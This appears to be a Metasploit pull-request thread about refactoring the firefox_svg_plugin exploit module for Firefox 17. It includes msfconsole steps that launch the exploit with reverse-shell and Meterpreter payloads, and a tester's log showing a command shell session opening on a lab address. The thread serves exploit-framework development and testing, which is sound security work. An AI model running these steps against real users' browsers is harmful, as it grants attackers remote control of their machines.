Clean up firefox_svg_plugin module to use the mixins i have added

[jvennix-r7]

I've updated the firefox_svg_plugin module to:

1. Actually use BrowserExploitServer (I had accidentally overridden the BES's on_request_uri)
2. Use the new FirefoxPrivilegeEscalation mixin, specifically the run_payload method
3. Removed all of the custom target setting code. I had no clue why this didn't work for me at the time, now I understand the code really did nothing for you, because handler selection

Verification

• Download Firefox 17 or 17.0.1 (ensure flash is installed)
• Run the exploit with a javascript payload:

msf> use exploit/multi/browser/firefox_svg_plugin
msf> set target 0
msf> set payload firefox/shell_reverse_tcp
msf> set lhost 0.0.0.0
msf> run

• Ensure you get a shell
• Run the exploit with a native payload:

msf> use exploit/multi/browser/firefox_svg_plugin
msf> set target 1
msf> set payload windows/meterpreter/reverse_tcp
msf> set lhost 0.0.0.0
msf> run

• Ensure you get a shell

[wchen-r7]

msf exploit(firefox_svg_plugin) > [*] 10.0.1.76        firefox_svg_plugin - Gathering target information.
[*] 10.0.1.76        firefox_svg_plugin - Sending response HTML.
[*] 10.0.1.76        firefox_svg_plugin - Target selected: Universal (Javascript XPCOM Shell)
[*] 10.0.1.76        firefox_svg_plugin - Sending Firefox 17.0.1 Flash Privileged Code Injection
[*] 10.0.1.76        firefox_svg_plugin - Sending .swf trigger.
[*] 10.0.1.76        firefox_svg_plugin - Sending .swf trigger.
[*] Command shell session 1 opened (10.0.1.76:4444 -> 10.0.1.76:63029) at 2014-03-27 12:59:13 -0500